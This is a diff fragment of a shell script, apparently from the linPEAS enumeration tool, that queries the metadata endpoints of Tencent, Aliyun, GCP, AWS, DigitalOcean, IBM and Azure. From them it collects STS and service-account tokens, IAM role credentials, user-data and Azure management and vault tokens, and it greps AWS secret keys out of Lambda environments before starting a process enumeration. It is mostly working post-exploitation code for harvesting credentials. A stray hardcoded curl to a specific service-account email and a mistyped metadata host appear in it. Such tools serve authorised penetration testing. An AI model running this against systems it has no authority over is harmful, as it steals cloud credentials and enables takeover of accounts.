+ echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id)
+
+ for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do
+ echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4)
+ echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway)
+ echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4)
+ echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode)
+ echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask)
+ done
+ echo "======="
+ done
+
+ echo ""
+ print_3title "Service account "
+ for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do
+ echo " Name: $sa"
+ echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa")
+ echo " =============="
+ done
+
+ echo ""
+ print_3title "Possbile admin ssh Public keys"
+ for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do
+ echo " Name: $key"
+ echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key")
+ echo " =============="
+ done
+fi
+
+if [ "$is_aliyun_ecs" = "Yes" ]; then
+ aliyun_req=""
+ aliyun_token=""
+ if [ "$(command -v curl)" ]; then
+ aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
+ aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"'
+ elif [ "$(command -v wget)" ]; then
+ aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
+ aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aliyun_token" ]; then
+ print_2title "Aliyun ECS Enumeration"
+ print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata"
+ # Todo: print_info "Hacktricks Documents needs to be updated"
+
+ echo ""
+ print_3title "Instance Info"
+ i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname)
+ [ "$i_hostname" ] && echo "Hostname: $i_hostname"
+ i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId
+ i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name)
+ [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
+ i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type)
+ [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
+ i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id)
+ [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account"
+ i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id)
+ [ "$i_region_id" ] && echo "Region ID: $i_region_id"
+ i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id)
+ [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
+
+ echo ""
+ print_3title "Network Info"
+ i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4)
+ [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4"
+ i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4)
+ [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4"
+ net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers)
+ [ "$net_dns" ] && echo "DNS: $net_dns"
+
+ echo "========"
+ for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do
+ echo " Mac: $mac"
+ echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id)
+ echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask)
+ echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id)
+ echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block)
+ echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks)
+ echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id)
+ echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block)
+ echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block)
+ echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s)
+ echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s)
+ echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway)
+ echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway)
+ echo "======="
+ done
+
+ echo ""
+ print_3title "Service account "
+ for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do
+ echo " Name: $sa"
+ echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa")
+ echo " =============="
+ done
+
+ echo ""
+ print_3title "Possbile admin ssh Public keys"
+ for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do
+ echo " Name: $key"
+ echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key")
+ echo " =============="
+ done
+
+
+ fi
+fi
+
+if [ "$is_gcp_vm" = "Yes" ]; then
+ gcp_req=""
+ if [ "$(command -v curl)" ]; then
+ gcp_req='curl -s -f -H "Metadata-Flavor: Google"'
+ elif [ "$(command -v wget)" ]; then
+ gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ # GCP Enumeration
+ if [ "$gcp_req" ]; then
+ print_2title "Google Cloud Platform Enumeration"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
+
+ ## GC Project Info
+ p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
+ [ "$p_id" ] && echo "Project-ID: $p_id"
+ p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
+ [ "$p_num" ] && echo "Project Number: $p_num"
+ pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
+ [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
+ p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
+ [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
+
+ # OSLogin Info
+ osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
+ [ "$osl_u" ] && echo "OSLogin users: $osl_u"
+ osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
+ [ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
+ osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
+ [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
+ osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
+ [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
+
+ # Instance Info
+ inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
+ [ "$inst_d" ] && echo "Instance Description: "
+ inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
+ [ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
+ inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
+ [ "$inst_id" ] && echo "Instance ID: $inst_id"
+ inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
+ [ "$inst_img" ] && echo "Instance Image: $inst_img"
+ inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
+ [ "$inst_mt" ] && echo "Machine Type: $inst_mt"
+ inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
+ [ "$inst_n" ] && echo "Instance Name: $inst_n"
+ inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
+ [ "$inst_tag" ] && echo "Instance tags: $inst_tag"
+ inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
+ [ "$inst_zone" ] && echo "Zone: $inst_zone"
+
+ inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
+ [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
+ inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
+ [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
+ inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
+ [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
+ inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
+ [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
+ inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
+ [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
+ inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
+ [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
+
+ echo ""
+ print_3title "Interfaces"
+ for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
+ echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
+ echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
+ echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
+ echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
+ echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
+ echo " ============== "
+ done
+
+ echo ""
+ print_3title "User Data"
+ echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
+ echo ""
+
+ echo ""
+ print_3title "Service Accounts"
+ for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
+ echo " Name: $sa"
+ echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
+ echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
+ echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
+ echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
+ echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
+ echo " ============== "
+ done
+ fi
+fi
+
+# Check if the script is running in a GCP Cloud Function
+if [ "$is_gcp_function" = "Yes" ]; then
+ gcp_req=""
+ if [ "$(command -v curl)" ]; then
+ gcp_req='curl -s -f -H "Metadata-Flavor: Google"'
+ elif [ "$(command -v wget)" ]; then
+ gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ # GCP Enumeration
+ if [ "$gcp_req" ]; then
+ print_2title "Google Cloud Platform Enumeration"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
+
+ ## GC Project Info
+ p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
+ [ "$p_id" ] && echo "Project-ID: $p_id"
+ p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
+ [ "$p_num" ] && echo "Project Number: $p_num"
+
+ # Instance Info
+ inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
+ [ "$inst_id" ] && echo "Instance ID: $inst_id"
+ mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration)
+ [ "$mtls_info" ] && echo "MTLS info: $mtls_info"
+ inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
+ [ "$inst_zone" ] && echo "Zone: $inst_zone"
+
+ echo ""
+ print_3title "Service Accounts"
+ for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
+ echo " Name: $sa"
+ echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email")
+ echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases")
+ echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity")
+ echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
+ echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token")
+ echo " ============== "
+ done
+ fi
+fi
+
+
+curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/405423052163-compute@developer.gserviceaccount.com/email"
+
+# AWS ECS Enumeration
+if [ "$is_aws_ecs" = "Yes" ]; then
+ print_2title "AWS ECS Enumeration"
+
+ aws_ecs_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_ecs_req='curl -s -f'
+ elif [ "$(command -v wget)" ]; then
+ aws_ecs_req='wget -q -O -'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aws_ecs_metadata_uri" ]; then
+ print_3title "Container Info"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
+ echo ""
+
+ print_3title "Task Info"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
+ echo ""
+ else
+ echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
+ fi
+
+ if [ "$aws_ecs_service_account_uri" ]; then
+ print_3title "IAM Role"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
+ echo ""
+ else
+ echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
+ fi
+fi
+
+# AWS EC2 Enumeration
+if [ "$is_aws_ec2" = "Yes" ]; then
+ print_2title "AWS EC2 Enumeration"
+
+ HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
+ URL="http://169.254.169.254/latest/meta-data"
+
+ aws_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ aws_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aws_req" ]; then
+ printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
+ printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
+ printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
+ printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
+ printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
+ printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
+
+ echo ""
+ print_3title "Account Info"
+ exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
+
+ echo ""
+ print_3title "Network Info"
+ for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
+ echo "Mac: $mac"
+ printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
+ printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
+ printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
+ echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
+ printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
+ echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
+ printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
+ echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
+ echo ""
+ done
+
+ echo ""
+ print_3title "IAM Role"
+ exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
+ for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
+ echo "Role: $role"
+ exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
+ echo ""
+ done
+
+ echo ""
+ print_3title "User Data"
+ eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
+
+ echo ""
+ echo "EC2 Security Credentials"
+ exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
+
+ print_3title "SSM Runnig"
+ ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
+ fi
+fi
+
+# AWS Lambda Enumeration
+if [ "$is_aws_lambda" = "Yes" ]; then
+ print_2title "AWS Lambda Enumeration"
+ printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
+ printf "Region: "; env | grep AWS_REGION
+ printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
+ printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
+ printf "Session token: "; env | grep AWS_SESSION_TOKEN
+ printf "Security token: "; env | grep AWS_SECURITY_TOKEN
+ printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
+ printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
+fi
+
+# AWS Codebuild Enumeration
+if [ "$is_aws_codebuild" = "Yes" ]; then
+ print_2title "AWS Codebuild Enumeration"
+
+ aws_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_req="curl -s -f"
+ elif [ "$(command -v wget)" ]; then
+ aws_req="wget -q -O -"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ echo "The addresses are in /codebuild/output/tmp/env.sh"
+ fi
+
+ if [ "$aws_req" ]; then
+ print_3title "Credentials"
+ CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
+ URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
+ exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
+
+ print_3title "Container Info"
+ METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
+ exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
+ fi
+fi
+
+# DO Droplet Enumeration
+if [ "$is_do" = "Yes" ]; then
+ print_2title "DO Droplet Enumeration"
+
+ do_req=""
+ if [ "$(command -v curl)" ]; then
+ do_req='curl -s -f '
+ elif [ "$(command -v wget)" ]; then
+ do_req='wget -q -O - '
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$do_req" ]; then
+ URL="http://169.254.169.254/metadata"
+ printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
+ printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
+ printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
+ printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
+ printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
+ printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
+ printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
+ printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
+ printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
+ printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
+ fi
+fi
+
+# IBM Cloud Enumeration
+if [ "$is_ibm_vm" = "Yes" ]; then
+ print_2title "IBM Cloud Enumeration"
+
+ if ! [ "$IBM_TOKEN" ]; then
+ echo "Couldn't get the metadata token:("
+
+ else
+ TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
+ ACCEPT_HEADER="Accept: application/json"
+ URL="http://169.254.169.254/latest/meta-data"
+
+ ibm_req=""
+ if [ "$(command -v curl)" ]; then
+ ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$ibm_req" ]; then
+ print_3title "Instance Details"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
+
+ print_3title "Keys and User data"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
+
+ print_3title "Placement Groups"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
+
+ print_3title "IAM credentials"
+ exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
+ fi
+ fi
+
+fi
+
+# Azure VM Enumeration
+if [ "$is_az_vm" = "Yes" ]; then
+ print_2title "Azure VM Enumeration"
+
+ HEADER="Metadata:true"
+ URL="http://169.254.169.254/metadata"
+ API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
+
+ az_req=""
+ if [ "$(command -v curl)" ]; then
+ az_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ az_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$az_req" ]; then
+ print_3title "Instance details"
+ exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
+
+ print_3title "Load Balancer details"
+ exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
+
+ print_3title "Management token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
+
+ print_3title "Graph token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
+
+ print_3title "Vault token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
+
+ print_3title "Storage token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
+ fi
+fi
+
+if [ "$check_az_app" = "Yes" ]; then
+ print_2title "Azure App Service Enumeration"
+ echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
+
+ HEADER="secret:$IDENTITY_HEADER"
+
+ az_req=""
+ if [ "$(command -v curl)" ]; then
+ az_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ az_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$az_req" ]; then
+ print_3title "Management token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
+
+ print_3title "Graph token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
+
+ print_3title "Vault token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
+
+ print_3title "Storage token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets; then
+print_title "Processes, Crons, Timers, Services and Sockets"
+
+####################################################
+#-----) Processes & Cron & Services & Timers (-----#
+####################################################
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Cleaned proccesses
+ print_2title "Cleaned processes"
+
+ if [ "$NOUSEPS" ]; then
+ printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
+ fi
+ print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
+
+ if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
+ echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
+ fi
+
+ if [ "$NOUSEPS" ]; then
+ print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
+ pslist=$(print_ps)
+ else
+ (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
+ echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
+ if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
+ cpid=$(echo "$psline" | awk '{print $2}')
+ caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
+ if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
+ printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
+ fi
+ fi
+ done
+ pslist=$(ps auxwww)
+ echo ""
+
+ #-- PCS) Binary processes permissions
+ print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
+ binW="IniTialiZZinnggg"
+ ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
